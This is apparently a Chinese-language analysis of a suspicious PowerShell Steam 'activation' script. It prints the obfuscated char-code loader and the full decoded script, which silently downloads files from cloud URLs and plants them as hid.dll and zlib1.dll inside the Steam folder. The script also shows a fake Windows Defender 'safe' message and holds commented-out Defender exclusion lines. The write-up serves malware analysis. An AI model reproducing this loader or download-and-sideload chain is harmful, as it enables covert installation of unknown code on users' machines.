28608, 27963, 36827, 31243, 20934, 22791, 23601, 32490, 65292, 83, 116, 101, 97, 109, 32, 25171, 24320, 20013, 65292, 35831, 31245, 20505, 46, 46, 46, 34, 10, 10, 32, 32, 32, 32, 102, 111, 114, 32, 40, 36, 105, 32, 61, 32, 57, 59, 32, 36, 105, 32, 45, 103, 101, 32, 48, 59, 32, 36, 105, 45, 45, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 96, 114, 32, 32, 91, 83, 84, 69, 65, 77, 93, 32, 26412, 31383, 21475, 23558, 22312, 32, 36, 105, 32, 31186, 21518, 20851, 38381, 46, 46, 46, 34, 32, 45, 78, 111, 78, 101, 119, 108, 105, 110, 101, 10, 32, 32, 32, 32, 32, 32, 32, 32, 83, 116, 97, 114, 116, 45, 83, 108, 101, 101, 112, 32, 45, 83, 101, 99, 111, 110, 100, 115, 32, 49, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 36, 105, 110, 115, 116, 97, 110, 99, 101, 32, 61, 32, 71, 101, 116, 45, 67, 105, 109, 73, 110, 115, 116, 97, 110, 99, 101, 32, 87, 105, 110, 51, 50, 95, 80, 114, 111, 99, 101, 115, 115, 32, 45, 70, 105, 108, 116, 101, 114, 32, 34, 80, 114, 111, 99, 101, 115, 115, 73, 100, 32, 61, 32, 39, 36, 112, 105, 100, 39, 34, 10, 32, 32, 32, 32, 36, 112, 97, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 73, 100, 32, 61, 32, 36, 105, 110, 115, 116, 97, 110, 99, 101, 46, 80, 97, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 73, 100, 10, 32, 32, 32, 32, 83, 116, 111, 112, 45, 80, 114, 111, 99, 101, 115, 115, 32, 45, 73, 100, 32, 36, 112, 97, 114, 101, 110, 116, 80, 114, 111, 99, 101, 115, 115, 73, 100, 32, 45, 70, 111, 114, 99, 101, 10, 32, 32, 32, 32, 101, 120, 105, 116, 10, 125, 10, 99, 97, 116, 99, 104, 10, 123, 10, 32, 32, 32, 32, 87, 114, 105, 116, 101, 45, 72, 111, 115, 116, 32, 34, 21457, 29983, 38169, 35823, 65306, 36, 40, 32, 36, 95, 46, 69, 120, 99, 101, 112, 116, 105, 111, 110, 46, 77, 101, 115, 115, 97, 103, 101, 32, 41, 34, 10, 125, 10)|%{([Int]$_ -aS[cHAr])}) -JOIN''|.((gv '*mdr*').NAME[3,11,2]-JoIn'')
根据后面管道符的操作,实际是将整数逐个转换为字符后再连接到一起,然后将整个字符串传递给下面的管道,从名称包含 'mdr' 的变量中提取第3、11、2个字符,并将它们连接起来。
这里先分步骤获取输出结果,先执行前面部分 (xx,xx)|%{([Int]$_ -aS[cHAr])}) -JOIN''
,得到了可阅读的 PS 脚本代码,先交给 ChatGPT 分析看看。
在代码中搜索了
mdr
, 并没有单词命中,不太懂后面的混淆代码有什么用。
Clear-Host
#Requires -RunAsAdministrator
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Continue"
Write-Host -NoNewline " `r"
Write-Host -NoNewline " %@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: `r"
Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@: %@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ @ :@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ :@ @@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ -@ @@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@@ `r"
Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@. @ @ @@@@@@@@ `r"
Write-Host -NoNewline " *@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@ `r"
Write-Host -NoNewline " +@@@@@@@@@@ @@@@@@@@@@ `r"
Write-Host -NoNewline " +@@ @@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@ @@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @ @@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@ @ @@@@@@@@@@@@@@@@@@@@@@@@% `r"
Write-Host -NoNewline " @@@@@@ @ @ -@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " .@@@@@@ @ @ @@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@- @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@% `r"
Write-Host -NoNewline " @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@% `r"
Write-Host -NoNewline " @@@@@@@@@@@@@@@+ `r"
Write-Host -NoNewline " _____ _____ _____ _____ _____ `r"
Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r"
Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r"
Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r"
Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r"
Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r"
Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r"
Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r"
Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r"
Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r"
Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r"
Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r"
Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r"
Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r"
Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r"
Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r"
Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r"
Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r"
Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r"
Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r"
Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r"
$kb250Zip = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_52b2d7308ed75f8a08c0272b8fe4e2bf_2579861713420481504.pak"
$hidTxt = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_8af54131fdcff059be41282a1baf3fa5_2579861711632548286.pak"
$appdata = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_fd8caa77f2849bc3e6f66d8ad05da65b_2579861711632154407.pak"
$z = "https://openai-75050.gzc.vod.tencent-cloud.com/openaiassets_822f765b45f77ae59e7c6091e69e3814_2579861711632742458.pak"
try
{
$filePathToDelete = Join-Path $env:USERPROFILE "a.ps1"
if (Test-Path $filePathToDelete)
{
Remove-Item -Path $filePathToDelete -Force
}
# AppData\Roaming\Stool
$targetDirectory = Join-Path $env:APPDATA "Stool"
if (-not(Test-Path $targetDirectory))
{
New-Item -Path $targetDirectory -ItemType Directory | Out-Null
}
# AppData\Roaming\Stool\legit (文件
$savePathZip = Join-Path $targetDirectory "legit"
if (Test-Path $savePathZip)
{
Remove-Item -Path $savePathZip -Force -ErrorAction Stop
}
Write-Host ""
Write-Host ""
Write-Host " [STEAM] 激活进程准备中,请稍候..."
# 尝试停止当前运行的 Steam 进程
$steamRegPath = 'HKCU:\Software\Valve\Steam'
$steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath
$exePath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamExe').SteamExe
$exePid = (Get-ItemProperty -Path ($steamRegPath + "\ActiveProcess") -Name 'pid').pid
Stop-Process -Id $exePid -ErrorAction SilentlyContinue
# 获取所有名为 "steam"(但不包括 "steam++")的进程,并强制停止它们
$runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" }
$runningProcess | ForEach-Object {
Stop-Process $_ -Force
}
# 检查当前用户是否具有管理员权限,如果没有,则打印红色错误消息。
if (-not$( [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') ))
{
Write-Host " [STEAM] 请使用管理员模式运行" -ForegroundColor Red
}
# 等待最多 10 秒,直到所有名为 "steam"(但不包括 "steam++")的进程都停止运行。
$waitTimes = 10
while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" -and $_.ProcessName -notmatch "^steam\+\+" })
{
Start-Sleep -Seconds 1
$waitTimes--
if ($waitTimes -lt 0)
{
break
}
}
#设置不显示执行进度
$ProgressPreference = 'SilentlyContinue'
#下载文件 AppData\Roaming\Stool\legit
Invoke-WebRequest -Uri $kb250Zip -OutFile $savePathZip -ErrorAction Stop
# AppData\Roaming\Stool\winhttp-log.txt
$savePathTxt = Join-Path $targetDirectory "winhttp-log.txt"
# AppData\Roaming\Stool\winhttp-log1.txt
$savePathTxt1 = Join-Path $targetDirectory "winhttp-log1.txt"
# 是否安装了 Steam
if ($null -ne $steamPath)
{
# 脚本检查 Windows Defender 是否正在运行
if (Get-Service | where-object{ $_.name -eq "windefend" -and $_.status -eq "running" })
{
# Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll'
# Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll'
Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
}
else
{
Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green
}
# steam/appcache
$appCacheDirectory = Join-Path $steamPath "appcache"
# steam/appcache/appdata.vdf
$savePathVdf = Join-Path $appCacheDirectory "appdata.vdf"
if (-not(Test-Path $appCacheDirectory))
{
# 不存在 appcache 目录则创建
New-Item -Path $appCacheDirectory -ItemType Directory -ErrorAction Stop | Out-Null
}
elseif(Test-Path $savePathVdf)
{
# 删除 appcache 目录下的 appdata.vdf 文件
Remove-Item -Path $savePathVdf -Force -ErrorAction Stop
}
# 静默下载文件直接替换 steam/appcache/appdata.vdf
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $appdata -OutFile $savePathVdf -ErrorAction Stop
# 静默下载文件到 AppData\Roaming\Stool\winhttp-log.txt
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $hidTxt -OutFile $savePathTxt -ErrorAction Stop
# 静默下载文件到 AppData\Roaming\Stool\winhttp-log1.txt
$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri $z -OutFile $savePathTxt1 -ErrorAction Stop
# 删除steam安装目录下的几个文件
foreach ($file in @("steam.cfg", "version.dll", "user32.dll"))
{
$filePath = Join-Path $steamPath $file
if (Test-Path $filePath)
{
Remove-Item $filePath -Force
}
}
# steam/hid.log
$steamTxt = Join-Path $steamPath "hid.log"
# 使用 AppData\Roaming\Stool\winhttp-log.txt 覆盖替换到 steam/hid.log
Move-Item -Path $savePathTxt -Destination $steamTxt -Force -ErrorAction Stop
if (Test-Path $savePathTxt)
{
# 删除 winhttp-log.txt
Remove-Item $savePathTxt -Force
}
# steam/hid.dll
$d_path = [System.IO.Path]::ChangeExtension($steamTxt, ".dll")
if (Test-Path $d_path)
{
# 删除 steam/hid.dll
Remove-Item $d_path -Force -ErrorAction Stop
}
# 重命名 steam/hid.log -> steam/hid.dll
Rename-Item -Path $steamTxt -NewName $d_path -Force -ErrorAction Stop
# steam/zlib1.log
$steamTxt1 = Join-Path $steamPath "zlib1.log"
# 使用 AppData\Roaming\Stool\winhttp-log1.txt 覆盖替换到 steam/zlib1.log
Move-Item -Path $savePathTxt1 -Destination $steamTxt1 -Force -ErrorAction Stop
if (Test-Path $savePathTxt1)
{
# 删除 winhttp-log1.txt
Remove-Item $savePathTxt1 -Force
}
# steam/zlib1.dll
$d_path1 = [System.IO.Path]::ChangeExtension($steamTxt1, ".dll")
if (Test-Path $d_path1)
{
# 删除 steam/zlib1.dll
Remove-Item $d_path1 -Force -ErrorAction Stop
}
# 重新命名 steam/zlib1.log -> steam/zlib1.dll
Rename-Item -Path $steamTxt1 -NewName $d_path1 -Force -ErrorAction Stop
if (-not(Test-Path $exePath))
{
$exePath = Join-Path $steamPath "steam.exe"
}
if (Test-Path $exePath)
{
Invoke-Expression -Command "start steam://open/activateproduct"
}
else
{
Write-Host " [STEAM] 主进程 $exePath 丢失,安装失败"
exit
}
}
else
{
Write-Host " [STEAM] steam 可能没有正确安装,请重新安装steam后再试"
exit
}
Write-Host " [STEAM] 激活进程准备就绪,Steam 打开中,请稍候..."
for ($i = 9; $i -ge 0; $i--) {
Write-Host "`r [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline
Start-Sleep -Seconds 1
}
$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
$parentProcessId = $instance.ParentProcessId
Stop-Process -Id $parentProcessId -Force
exit
}
catch
{
Write-Host "发生错误:$( $_.Exception.Message )"
}
总结脚本执行流程
- 首先停止当前运行的 Steam 进程
- 检测脚本提示需要 “管理员权限” 运行
- 等待 Steam 相关进程停止后,从服务器下载 dll 文件
- 删除 Steam 目录下的 "steam.cfg", "version.dll", "user32.dll"
- 将下载的文件替换到以下目录
- steam/appcache/appdata.vdf
- steam/hid.dll
- steam/zlib1.dll
- AppData\Roaming\Stool\legit
- 执行 Steam 激活程序
DLL暂时没能力分析(相关文件已备份,如果有大佬想分析一下,欢迎 PR)